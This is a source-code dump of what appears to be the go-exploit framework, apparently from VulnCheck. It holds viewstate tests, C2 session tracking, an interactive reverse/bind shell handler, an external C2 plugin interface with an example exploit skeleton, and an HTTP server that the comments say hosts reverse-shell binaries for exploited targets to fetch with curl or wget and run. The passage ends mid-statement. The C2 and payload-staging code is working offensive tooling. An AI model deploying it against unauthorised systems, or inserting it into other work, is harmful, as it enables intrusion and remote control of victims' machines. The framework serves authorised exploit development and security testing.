aspnet.State{} p := state.AsParams() if len(p) != 0 { t.Error("Parameters should not have state currently") } state.Update(pageState1) p = state.AsParams() if len(p) == 0 { t.Error("Parameters should have state currently") } if len(p) != 6 { t.Errorf("First state should only have 6 values: %d - %#v", len(p), p) } value, exists := p["__VIEWSTATE"] if !exists { t.Error("ViewState should be set on first request state update") } if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` { t.Error("ViewState on first update is unexpected") } value, exists = p["__LASTFOCUS"] if !exists { t.Error("LastFocus should not be nil") } if value != `` { t.Error("LastFocus should be set but is an empty string") } value, exists = p["__VIEWSTATEGENERATOR"] if !exists { t.Error("ViewStateGenerator should not be nil") } if value != `C73717A7` { t.Error("ViewStateGenerator on first update is unexpected") } value, exists = p["__EVENTVALIDATION"] if !exists { t.Error("EventValidation should not be nil") } if value != `/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=` { t.Error("EventValidation on first update is unexpected") } if state.EventArgument == nil { t.Errorf("EventArgument should not be nil on second request: %#v", state.EventArgument) } if *state.EventArgument != "" { t.Errorf("EventArgument should be empty string on second request: %#v", state.EventArgument) } if state.EventTarget == nil { t.Errorf("EventTarget should not be nil on second request: %#v", state.EventTarget) } if *state.EventTarget != "" { t.Errorf("EventTarget should be empty string on second request: %#v", state.EventTarget) } } func TestState_Merge(t *testing.T) { state := aspnet.State{} p := state.AsParams() if len(p) != 0 { t.Error("Parameters should not have state currently") } state.Update(pageState1) p = state.AsParams() if len(p) == 0 { t.Error("Parameters should have state currently") } if len(p) != 6 { t.Errorf("State should only have 6 values: %d - %#v", len(p), p) } v := map[string]string{ "STUFF": "THINGS", } merged := state.MergeParams(v) if len(merged) != 7 { t.Errorf("State should have 7 values: %d - %#v", len(p), p) } } ================================================ FILE: c2/channel/channel.go ================================================ // The channel package is the container for first-party framework C2 structures and variables, it // holds the internal settings for multiple types of C2s. It is also passed to other external C2 // components in order to support extracting components such as lhost and lport. package channel import ( "crypto/rand" "encoding/base32" "io" "net" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/output" ) type Channel struct { IPAddr string HTTPAddr string Port int HTTPPort int Timeout int IsClient bool Shutdown *atomic.Bool Sessions map[string]Session Input io.Reader Output io.Writer // Currently unused but figured we'd add it ahead of time } type Session struct { RemoteAddr string ConnectionTime time.Time conn *net.Conn Active bool LastSeen time.Time } // HadSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2 // successfully received callbacks ever, regardless of whether or not it is currently active. // // c, ok := c2.GetInstance(conf.C2Type) // c.Channel().HadSessions() func (c *Channel) HadSessions() bool { // Currently sessions are only added to the session structure and then their states are modified. // This will only work as long as the sessions are never actually removed from the map, which for // now isn't an issue but if we ever switch to a history vs active tracking systtem then this will // not be sufficient. return len(c.Sessions) > 0 } // HasSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2 // successfully received callbacks: // // c, ok := c2.GetInstance(conf.C2Type) // c.Channel().HasSessions() func (c *Channel) HasSessions() bool { for _, sess := range c.Sessions { if sess.Active { return true } } return false } // AddSession adds a remote connection for session tracking. If a network connection is being // tracked it can be added here and will be cleaned up and closed automatically by the C2 on // shutdown. func (c *Channel) AddSession(conn *net.Conn, addr string) bool { if len(c.Sessions) == 0 { c.Sessions = make(map[string]Session) } // This is my session randomizing logic. The theory is that it keeps us dependency free while // also creating the same 16bit strength of UUIDs. If we only plan on using the random UUIDs // anyway this should meet the same goals while also being URL safe and no special characters. k := make([]byte, 16) _, err := rand.Read(k) if err != nil { output.PrintfFrameworkError("Could not add session: %s", err.Error()) return false } id := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(k) c.Sessions[id] = Session{ // Add the time of now to the current connection time ConnectionTime: time.Now(), conn: conn, RemoteAddr: addr, LastSeen: time.Now(), Active: true, } return true } // Updates the LastSeen value for provided connection to the provided time. func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.Time) bool { id, ok := c.GetSessionIDByConn(conn) if !ok { return false } session, ok := c.Sessions[id] if !ok { output.PrintFrameworkError("Session ID does not exist") return false } session.LastSeen = timeStamp c.Sessions[id] = session return true } // Returns the session ID that contains a given connection. func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) { if len(c.Sessions) == 0 { output.PrintFrameworkDebug("No sessions exist") return "", false } for id, session := range c.Sessions { if *session.conn == conn { return id, true } } output.PrintFrameworkError("Conn does not exist in sessions") return "", false } // RemoveSession removes a specific session ID and if a connection exists, closes it. func (c *Channel) RemoveSession(id string) bool { if len(c.Sessions) == 0 { output.PrintFrameworkDebug("No sessions exist") return false } session, ok := c.Sessions[id] if !ok { output.PrintFrameworkError("Session ID does not exist") return false } if c.Sessions[id].conn != nil { (*c.Sessions[id].conn).Close() } session.Active = false c.Sessions[id] = session return true } // RemoveSessions removes all tracked sessions and closes any open connections if applicable. func (c *Channel) RemoveSessions() bool { if len(c.Sessions) == 0 { output.PrintFrameworkDebug("No sessions exist") return false } for id := range c.Sessions { c.RemoveSession(id) } return true } ================================================ FILE: c2/cli/basic.go ================================================ // Command-line helpers for C2s package cli import ( "bufio" "net" "os" "sync" "testing" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) // backgroundResponse handles the network connection reading for response data and contains a // trigger to the shutdown of the channel to ensure cleanup happens on socket close. func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn net.Conn, responseCh chan string) { defer wg.Done() defer func(channel *channel.Channel) { // Signals for both routines to stop, this should get triggered when socket is closed // and causes it to fail the read channel.Shutdown.Store(true) }(ch) responseBuffer := make([]byte, 1024) for { if ch.Shutdown.Load() { return } err := conn.SetReadDeadline(time.Now().Add(1 * time.Second)) if err != nil { output.PrintfFrameworkError("Error setting read deadline: %s, exiting.", err) return } bytesRead, err := conn.Read(responseBuffer) if err != nil && !os.IsTimeout(err) { // things have gone sideways, but the command line won't know that // until they attempt to execute a command and the socket fails. // i think that's largely okay. return } if bytesRead > 0 { // I think there is technically a race condition here where the socket // could have move data to write, but the user has already called exit // below. I that that's tolerable for now. responseCh <- string(responseBuffer[:bytesRead]) // Update "Last Seen" ok := ch.UpdateLastSeenByConn(conn, time.Now()) if !ok { output.PrintFrameworkError("Failed to update LastSeen value for connection") return } } time.Sleep(10 * time.Millisecond) } } // A very basic reverse/bind shell handler. func Basic(conn net.Conn, ch *channel.Channel) { // Create channels for communication between goroutines. responseCh := make(chan string) // Use a WaitGroup to wait for goroutines to finish. var wg sync.WaitGroup // Goroutine to read responses from the server. wg.Add(1) // If running in the test context inherit the channel input setting, this will let us control the // input of the shell programmatically. if !testing.Testing() { ch.Input = os.Stdin } go backgroundResponse(ch, &wg, conn, responseCh) // Goroutine to handle responses and print them. wg.Add(1) go func(channel *channel.Channel) { defer wg.Done() for { if channel.Shutdown.Load() { return } select { case response := <-responseCh: output.PrintShell(response) default: } time.Sleep(10 * time.Millisecond) } }(ch) go func(channel *channel.Channel) { // no waitgroup for this one because blocking IO, but this should not matter // since we are intentionally not trying to be a multi-implant C2 framework. // There still remains the issue that you would need to hit enter to find out // that the socket is dead but at least we can stop Basic() regardless of this fact. // This issue of unblocking stdin is discussed at length here https://github.com/golang/go/issues/24842 for { reader := bufio.NewReader(ch.Input) command, _ := reader.ReadString('\n') if channel.Shutdown.Load() { break } if command == "exit\n" { channel.Shutdown.Store(true) break } ok := protocol.TCPWrite(conn, []byte(command)) if !ok { channel.Shutdown.Store(true) break } time.Sleep(10 * time.Millisecond) } }(ch) // wait until the go routines are clean up wg.Wait() close(responseCh) } ================================================ FILE: c2/external/external.go ================================================ // The external C2 module extends the C2 functionality and exposes an interface to allow for an // exploit to utilize a channel that is defined in an external repository. This enables third-party // and non-trivial channels. This module defines an interface and external service type that must be // handled by the implementing external module. // // The External interface requires the following functions, each of which require the external // C2 to define a set of functions: // // - Configure - A function to wrap the internal C2 functions and integrate them into the // go-exploit expected structure. // - SetFlags - Configure the C2 specific flags used by the exploit. // - SetInit - Sets up the server singleton/C2 representation of the server structs. // - SetChannel` - Creates the go-exploit channel that is the framework representation of an // object and allows for channel settings to filter into the external module. // - SetRun - The function that actually runs the external C2. // // At this time only one External module can be defined per exploit as the implementation and // singleton can not be duplicated. // // # Creating an external C2 channel // // An external module template will generally be structured as follows: // // package c2external // // import ( // "flag" // "net" // // "github.com/vulncheck-oss/go-exploit/c2" // "github.com/vulncheck-oss/go-exploit/c2/channel" // "github.com/vulncheck-oss/go-exploit/c2/external" // ) // // var flagCommand string // // var ( // Name = "ExtServer" // ExtServer c2.Impl // ) // // type ExternalC2 struct { // Channel *channel.Channel // // Example of how you can define variables accessible in the set functions // Listener *net.Listener // } // // func New() ExternalC2 { // return ExternalC2{} // } // // func (c2 *ExternalC2) ExtServerFlags() { // // Flags for the external C2. The run function in the framework handles the parsing and // // the options will be available to the exploit. // flag.StringVar(&flagCommand, Name+".command", "", "Run a single command and exit the payload.") // } // // func (c2 *ExternalC2) ExtServerInit() { // // Any initialization such as key generation or external configuration components can go // // here. // } // // func (c2 *ExternalC2) ExtServerChannel(channel *channel.Channel) { // // This will generally just be setting the internal channel to match the expected // // go-exploit channel and provide access to the framework channel. // c2.Channel = channel // } // // func (c2 *ExternalC2) ExtServerRun(timeout int) bool { // // Add any servers or connection pooling here // // Make sure to handle the timeout! // return false // } // // func Configure(externalServer *external.Server) { // ExtServer = c2.AddC2(Name) // extc2 := New() // externalServer.SetFlags(extc2.ExtServerFlags) // externalServer.SetChannel(extc2.ExtServerChannel) // externalServer.SetInit(extc2.ExtServerInit) // externalServer.SetRun(extc2.ExtServerRun) // } // // # Adding an external C2 to an exploit // // In order to add an external C2 to an exploit it is required to get a new // // package main // // import ( // "flag" // "os/exec" // // "github.com/vulncheck-oss/go-exploit" // "github.com/vulncheck-oss/go-exploit/c2" // "github.com/vulncheck-oss/go-exploit/c2/external" // "github.com/vulncheck-oss/go-exploit/config" // "github.com/vulncheck-oss/go-exploit/output" // // c2example "github.com/vulncheck-oss/external-c2-experiments/example" // ) // // type ExternalTest struct{} // // var flagPayload string // // func (sploit ExternalTest) ValidateTarget(_ *config.Config) bool { // return false // } // // func (sploit ExternalTest) CheckVersion(_ *config.Config) exploit.VersionCheckType { // return exploit.NotImplemented // } // // func (sploit ExternalTest) RunExploit(conf *config.Config) bool { // if flagPayload == "" { // output.PrintfStatus("Payload argument required") // return false // } // cmd := exec.Command(flagPayload) // stdoutStderr, err := cmd.CombinedOutput() // if err != nil { // output.PrintfError("%s", err.Error()) // } // output.PrintfError("%s", stdoutStderr) // // return true // } // // func main() { // flag.StringVar(&flagPayload, "payload", "", "Payload to execute") // ext2 := external.GetInstance(c2example.ExtServer.Name) // c2example.Configure(ext2) // supportedC2 := []c2.Implementation{ // c2example.ExtServer, // c2.SimpleShellServer, // } // // conf := config.NewRemoteExploit( // config.ImplementedFeatures{ // AssetDetection: false, // VersionScanning: false, // Exploitation: false }, // config.CodeExecution, supportedC2, // "Vendor", []string{"Product"}, // []string{"cpe:2.3:a:vendor:product"}, // "CVE-2024-1270", "HTTP", 8080 // ) // sploit := ExternalTest{} // exploit.RunProgram(sploit, conf) // } // // It is important to keep in mind that a payload will still need to be written for our newly // created external C2, as well as handling said payload in the exploit. // // In order to use the above C2 in an exploit the following shows how it could be used: package external import ( "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/output" ) // The Server struct holds the declared external modules internal functions and channel data. type Server struct { flags func() init func() run func(int) bool shutdown func() bool meta func(*channel.Channel) channel *channel.Channel name string } // The External interface defines which functions are required to be defined in an external C2 // channel in order to function inside the framework properly. These are ordered in generally // suggested execution order. type External interface { Configure(*Server) SetChannel(func(*channel.Channel)) SetFlags(func()) SetInit(func()) SetRun(func(int) bool) SetShutdown(func() bool) } var serverSingletons map[string]*Server // Gets the singleton instance of the external C2. These are kept track based on their internal // names. func GetInstance(externalName string) *Server { if len(serverSingletons) == 0 { serverSingletons = make(map[string]*Server) singleton := new(Server) singleton.name = externalName serverSingletons[externalName] = singleton return singleton } _, exists := serverSingletons[externalName] if !exists { singleton := new(Server) singleton.name = externalName serverSingletons[externalName] = singleton return singleton } return serverSingletons[externalName] } // SetFlags sets the external modules function for command line flag management. func (externalServer *Server) SetFlags(f func()) { if f == nil { panic("SetFlags *must* be a valid function") } externalServer.flags = f } // CreateFlags is used by the framework to run the set function for flag management. This is not // expected to be implemented by the downstream external C2. func (externalServer *Server) CreateFlags() { if externalServer.flags == nil { panic("CreateFlags *must* be a valid function") } externalServer.flags() } // SetInit sets the external C2 initialization function. This function is expected to be used for // any database management, configuration parsing, and any other functionality required for the C2 // that is not managed by the go-exploit framework channels or command line flags. func (externalServer *Server) SetInit(f func()) { if externalServer.flags == nil { panic("Init *must* be a valid function") } externalServer.init = f } // SetChannel sets the function for channel management. The go-exploit channel represents basic // settings that are provided to the frameworks core modules and are regularly used as ergonomic // helpers, but may also be required by the external module (ie accessing -lhost or -lport variables // without having to resort to passing all flag arguments). This generally does not need to // be complex and is often just passing the channel to a C2 side variable, but they can also be used // to modify the channel for use in a C2. func (externalServer *Server) SetChannel(f func(*channel.Channel)) { externalServer.meta = f } // Init triggers the set C2 initialization and passes the channel to the external module. func (externalServer *Server) Init(channel *channel.Channel) bool { if channel.IsClient { output.PrintFrameworkError("Called ExternalServer as a client.") return false } externalServer.init() externalServer.meta(channel) return true } // SetRun sets the external C2 run logic. This is often where the core of the handling is done and // will often times be setting up listeners, connecting to a SaaS service and querying for payload // responses, setting up external handlers, etc. func (externalServer *Server) SetRun(f func(int) bool) { externalServer.run = f } // Triggers the external modules Run function with the set timeout. func (externalServer *Server) Run(timeout int) { externalServer.run(timeout) } // SetShutdown sets the function for server shutdown handling and session cleanup logic. This // function is what gets called when the framework receives a OS signal, a shell is closed, or // manually invoked. func (externalServer *Server) SetShutdown(f func() bool) { externalServer.shutdown = f } // Shutdown triggers the set shutdown function. func (externalServer *Server) Shutdown() bool { return externalServer.shutdown() } // Return the underlying C2 channel containing channel metadata and session tracking. func (externalServer *Server) Channel() *channel.Channel { // I'd much rather have just exposed a `Server.Channel`, but we are interface bound return externalServer.channel } ================================================ FILE: c2/factory.go ================================================ // Command and Control (C2) package c2 import ( "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/external" "github.com/vulncheck-oss/go-exploit/c2/httpservefile" "github.com/vulncheck-oss/go-exploit/c2/httpserveshell" "github.com/vulncheck-oss/go-exploit/c2/httpshellserver" "github.com/vulncheck-oss/go-exploit/c2/shelltunnel" "github.com/vulncheck-oss/go-exploit/c2/simpleshell" "github.com/vulncheck-oss/go-exploit/c2/sslshell" "github.com/vulncheck-oss/go-exploit/output" ) // An interface used by both reverse shells, bind shells, and stagers. type Interface interface { CreateFlags() Init(channel *channel.Channel) bool Run(timeout int) Shutdown() bool Channel() *channel.Channel } // Internal representation of a C2 implementation. Each C2 is managed by // the framework by the Impl struct type and should be unique. type Impl struct { Name string Category category } // Categories allow for type hints and invalid checks. type category int const ( InvalidCategory category = -1 SimpleShellServerCategory category = 0 SimpleShellClientCategory category = 1 SSLShellServerCategory category = 2 HTTPServeFileCategory category = 3 HTTPServeShellCategory category = 4 ExternalCategory category = 5 ShellTunnelCategory category = 6 HTTPShellServerCategory category = 7 ) // Simplified names in order to keep the old calling convention and allow // for quick references in supported C2 functions. var ( SimpleShellServer = internalSupported["SimpleShellServer"] SimpleShellClient = internalSupported["SimpleShellClient"] SSLShellServer = internalSupported["SSLShellServer"] HTTPServeFile = internalSupported["HTTPServeFile"] HTTPServeShell = internalSupported["HTTPServeShell"] ShellTunnel = internalSupported["ShellTunnel"] HTTPShellServer = internalSupported["HTTPShellServer"] // We do not want external to be called directly because external // internally is not useful. ) // The internal representation and model for keeping track of C2s. This is // modified by external modules, but first-party framework supported // channels are defined here. var internalSupported = map[string]Impl{ "SimpleShellServer": {Name: "SimpleShellServer", Category: SimpleShellServerCategory}, "SimpleShellClient": {Name: "SimpleShellClient", Category: SimpleShellClientCategory}, "SSLShellServer": {Name: "SSLShellServer", Category: SSLShellServerCategory}, "HTTPServeFile": {Name: "HTTPServeFile", Category: HTTPServeFileCategory}, "HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory}, "HTTPShellServer": {Name: "HTTPShellServer", Category: HTTPShellServerCategory}, // Ensure the internal supported External module name is an error if used // directly. "External": {Name: "", Category: InvalidCategory}, "ShellTunnel": {Name: "ShellTunnel", Category: ShellTunnelCategory}, } // Add an external C2 to the supported list. Use this to integrate a new C2 // into the framework. This is expected to be called early in the // configuration process in order to expose the name of the C2 to the rest // of the framework. func AddC2(name string) Impl { _, exists := internalSupported[name] if exists { // We might not want to panic, but it does simplify the call panic("C2 type already exists") } i := Impl{Name: name, Category: ExternalCategory} internalSupported[name] = i return i } // Factory pattern for creating c2 interfaces. Note that this is // returning an interface, which is a bit anti-Go but it's more or less // exactly what we want so. func GetInstance(implementation Impl) (Interface, bool) { switch implementation.Category { case SimpleShellServerCategory: return simpleshell.GetServerInstance(), true case SimpleShellClientCategory: return simpleshell.GetClientInstance(), true case SSLShellServerCategory: return sslshell.GetInstance(), true case HTTPServeFileCategory: return httpservefile.GetInstance(), true case HTTPServeShellCategory: return httpserveshell.GetInstance(), true case ExternalCategory: if implementation.Name != "" { return external.GetInstance(implementation.Name), true } case HTTPShellServerCategory: return httpshellserver.GetInstance(), true case ShellTunnelCategory: return shelltunnel.GetInstance(), true case InvalidCategory: // Calling your external C2 as explicitly invalid is odd. output.PrintFrameworkError("Invalid C2 Server") default: output.PrintFrameworkError("Invalid C2 Server") } return nil, false } // Call into the c2 impl so that it can create command line flags. func CreateFlags(implementation Impl) { switch implementation.Category { case SimpleShellServerCategory: simpleshell.GetServerInstance().CreateFlags() case SimpleShellClientCategory: simpleshell.GetClientInstance().CreateFlags() case SSLShellServerCategory: sslshell.GetInstance().CreateFlags() case HTTPServeFileCategory: httpservefile.GetInstance().CreateFlags() case HTTPServeShellCategory: httpserveshell.GetInstance().CreateFlags() case ExternalCategory: if implementation.Name != "" { external.GetInstance(implementation.Name).CreateFlags() } case HTTPShellServerCategory: httpshellserver.GetInstance().CreateFlags() case ShellTunnelCategory: shelltunnel.GetInstance().CreateFlags() case InvalidCategory: // Calling your external C2 as explicitly invalid is odd. output.PrintFrameworkError("Invalid C2 Server") default: output.PrintFrameworkError("Invalid C2 Server") } } // HadSessions returns if the underlying channel has any sessions, regardless of their Active value. func HadSessions(implementation Impl) bool { switch implementation.Category { case SimpleShellServerCategory: return simpleshell.GetServerInstance().Channel().HadSessions() case SimpleShellClientCategory: return simpleshell.GetClientInstance().Channel().HadSessions() case SSLShellServerCategory: return sslshell.GetInstance().Channel().HadSessions() case HTTPServeFileCategory: return httpservefile.GetInstance().Channel().HadSessions() case HTTPServeShellCategory: return httpserveshell.GetInstance().Channel().HadSessions() case ExternalCategory: if implementation.Name != "" { return external.GetInstance(implementation.Name).Channel().HadSessions() } case HTTPShellServerCategory: return httpshellserver.GetInstance().Channel().HadSessions() case ShellTunnelCategory: return shelltunnel.GetInstance().Channel().HadSessions() case InvalidCategory: default: } output.PrintFrameworkError("Invalid C2 Server") return false } // HasSessions returns if the underlying channel has active sessions. This is useful for code that // needs to validate if callbacks have occurred and is a helper wrapper around the channel package // function of the same name. func HasSessions(implementation Impl) bool { switch implementation.Category { case SimpleShellServerCategory: return simpleshell.GetServerInstance().Channel().HasSessions() case SimpleShellClientCategory: return simpleshell.GetClientInstance().Channel().HasSessions() case SSLShellServerCategory: return sslshell.GetInstance().Channel().HasSessions() case HTTPServeFileCategory: return httpservefile.GetInstance().Channel().HasSessions() case HTTPServeShellCategory: return httpserveshell.GetInstance().Channel().HasSessions() case ExternalCategory: if implementation.Name != "" { return external.GetInstance(implementation.Name).Channel().HasSessions() } case HTTPShellServerCategory: return httpshellserver.GetInstance().Channel().HasSessions() case ShellTunnelCategory: return shelltunnel.GetInstance().Channel().HasSessions() case InvalidCategory: default: } output.PrintFrameworkError("Invalid C2 Server") return false } // Return the internal representation of a C2 from a string. func StringToImpl(c2Name string) (Impl, bool) { for _, value := range internalSupported { if value.Name == c2Name { return value, true } } return Impl{Name: "", Category: InvalidCategory}, false } ================================================ FILE: c2/factory_test.go ================================================ package c2 import ( "testing" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/httpservefile" ) func TestHTTPServeFileInit(t *testing.T) { impl, success := GetInstance(HTTPServeFile) if !success { t.Fatal("Failed to create HTTPServeFile") } if len(httpservefile.GetInstance().HostedFiles) != 0 { t.Fatal("Instance has a filename already") } httpservefile.GetInstance().AddFile("name", "random", []byte("data")) if len(httpservefile.GetInstance().HostedFiles) != 1 { t.Fatalf("Should have added a file: %d", len(httpservefile.GetInstance().HostedFiles)) } httpservefile.GetInstance().FilesToServe = "factory.go" success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: true}) if success { t.Fatal("Failed to check if it was invoked as a client") } success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: false}) if !success { t.Fatal("Failed to successfully process well-formed init call") } // random name should have been generated if len(httpservefile.GetInstance().HostedFiles["factory.go"].RandomName) == 0 { t.Fatal("Instance did not generate a random filename") } if httpservefile.GetInstance().HTTPAddr != "127.0.0.1" { t.Fatal("Instance did not take up the http bind addr") } if httpservefile.GetInstance().HTTPPort != 1270 { t.Fatal("Instance did not take up the http bind port") } } func TestExternalModuleSingleton(t *testing.T) { _, success := GetInstance(Impl{Name: "", Category: InvalidCategory}) if success { t.Fatal("Invalid & default External modules should not allow instance creation") } _, success = GetInstance(Impl{Name: "", Category: ExternalCategory}) if success { t.Fatal("Empty names should not be allowed") } _, success = GetInstance(Impl{Name: "i1", Category: ExternalCategory}) if !success { t.Fatal("Initial instance of external module was not returned") } _, success = GetInstance(Impl{Name: "i2", Category: ExternalCategory}) if !success { t.Fatal("Could not get second ExternalCategory instance") } } func TestExternalModuleAddC2(t *testing.T) { _, ok := StringToImpl("blorp") if ok { t.Fatal("StringToImpl should not have returned a value") } i1 := AddC2("blorp") i2, ok := StringToImpl("blorp") if !ok { t.Fatal("StringToImpl should have returned a value") } if i1 != i2 { t.Fatal("Added C2 does not match") } } ================================================ FILE: c2/httpservefile/httpservefile.go ================================================ // httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case // is for an exploit to curl/wget the file and execute it. This is useful to spawn connections to other // tools (e.g. Metasploit, nc, etc.) or to go-exploit. This is not a traditional "c2" but serves as a useful // backend that logically plugs into our c2 design. // // Files are provided on the command line as a comma delimited string. For example: // // -httpServeFile.FilesToServe ./build/reverse_shell_windows-arm64.exe,./build/reverse_shell_linux-amd64 // // The above will load two files: a windows reverse shell and a linux reverse shell. This c2 will then // generate random names for the files and host them on an HTTP / HTTPS server. To interact with the // files from an implementing exploit, you can fetch the filename to random name mapping using // GetRandomName(). For example: // // httpservefile.GetInstance().GetRandomName(linux64) // // Where linux64 is a variable that contains "reverse_shell_linux-amd64". // // If you are only hosting one file, then GetRandomName("") will also return your one file. // // Files can also be provided programmatically via the AddFile function (must be called before run). package httpservefile import ( "bytes" "crypto/tls" "flag" "fmt" "net/http" "os" "path" "strings" "sync" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/random" ) type HostedFile struct { // The user provided filename RealName string // A randomly generated filename to serve RandomName string // The file's data FileData []byte } type Server struct { // The HTTP address to bind to HTTPAddr string // The HTTP port to bind to HTTPPort int // Set to the Server field in HTTP response ServerField string // Indicates if TLS should be enabled TLS bool // The file path to the user provided private key (if provided) PrivateKeyFile string // The file path to the user provided certificate (if provided) CertificateFile string // Loaded certificate Certificate tls.Certificate // A map of hosted files HostedFiles map[string]HostedFile // RealName -> struct // A comma delimited list of all the files to serve FilesToServe string // C2 channel and session metadata channel *channel.Channel } var singleton *Server // A basic singleton interface for the c2. func GetInstance() *Server { if singleton == nil { singleton = new(Server) // init hosted files map singleton.HostedFiles = make(map[string]HostedFile) } return singleton } // User options for serving a file over HTTP as the "c2". func (httpServer *Server) CreateFlags() { // some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell). // so first check if these values have already been generated if flag.Lookup("httpServeFile.FilesToServe") == nil { flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve") flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field") flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption") flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server") flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server") } } // Return the C2 specific channel. func (httpServer *Server) Channel() *channel.Channel { return httpServer.channel } // Shutdown the C2 server and cleanup all the sessions. func (httpServer *Server) Shutdown() bool { // Account for non-running case if httpServer.Channel() == nil { return true } output.PrintFrameworkStatus("Shutting down the HTTP Server") if len(httpServer.Channel().Sessions) > 0 { for k := range httpServer.Channel().Sessions { httpServer.Channel().RemoveSession(k) } } return true } // load the provided files into memory, stored in a map, and loads the tls cert if needed. func (httpServer *Server) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } httpServer.channel = channel if channel.IsClient { output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.") return false } switch { case channel.HTTPPort == 0 && channel.Port != 0: // must be stand-alone invocation of HTTPServeFile httpServer.HTTPAddr = channel.IPAddr httpServer.HTTPPort = channel.Port case channel.HTTPPort != 0: // must be used with another C2 httpServer.HTTPAddr = channel.HTTPAddr httpServer.HTTPPort = channel.HTTPPort default: output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.") return false } // split the provided files, read them in, and store them in the map files := strings.Split(httpServer.FilesToServe, ",") for _, file := range files { if len(file) == 0 { continue } output.PrintfFrameworkStatus("Loading the provided file: %s", file) fileData, err := os.ReadFile(file) if err != nil { output.PrintFrameworkError(err.Error()) return false } // remove the path from the name (check for / and \) shortName := file pathSepIndex := strings.LastIndex(shortName, "/") if pathSepIndex != -1 { shortName = shortName[pathSepIndex+1:] } pathSepIndex = strings.LastIndex(shortName, `\`) if pathSepIndex != -1 { shortName = shortName[pathSepIndex+1:] } hosted := HostedFile{ RealName: shortName, RandomName: random.RandLetters(12), FileData: fileData, } output.PrintfFrameworkDebug("Added %s as %s", hosted.RealName, hosted.RandomName) httpServer.HostedFiles[shortName] = hosted } if httpServer.TLS { var ok bool var err error if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 { httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile) if err != nil { output.PrintfFrameworkError("Error loading certificate: %s", err.Error()) return false } } else { output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") httpServer.Certificate, ok = encryption.GenerateCertificate() if !ok { return false } } } return true } // Adds a file to the server. A route will be created for "randomName" when run() is executed. func (httpServer *Server) AddFile(realName string, randomName string, data []byte) { hostMe := HostedFile{RealName: realName, RandomName: randomName, FileData: data} httpServer.HostedFiles[realName] = hostMe } // start the HTTP server and listen for incoming requests for `httpServer.FileName`. func (httpServer *Server) Run(timeout int) { if len(httpServer.HostedFiles) == 0 { output.PrintFrameworkError("No files provided via httpServeFile.FilesToServe or programmatically") return } // set up handlers for each of the files for _, hosted := range httpServer.HostedFiles { http.HandleFunc("/"+hosted.RandomName, func(writer http.ResponseWriter, req *http.Request) { output.PrintfFrameworkStatus("Connection from %s requested %s", req.RemoteAddr, req.URL.Path) httpServer.Channel().AddSession(nil, req.RemoteAddr) writer.Header().Set("Server", httpServer.ServerField) name := path.Base(req.URL.Path) // cannot used hosted as the values move on with the loop for _, selected := range httpServer.HostedFiles { if selected.RandomName == name { http.ServeContent(writer, req, selected.RandomName, time.Time{}, bytes.NewReader(selected.FileData)) return } } writer.WriteHeader(http.StatusNotFound) }) } var wg sync.WaitGroup connectionString := fmt.Sprintf("%s:%d", 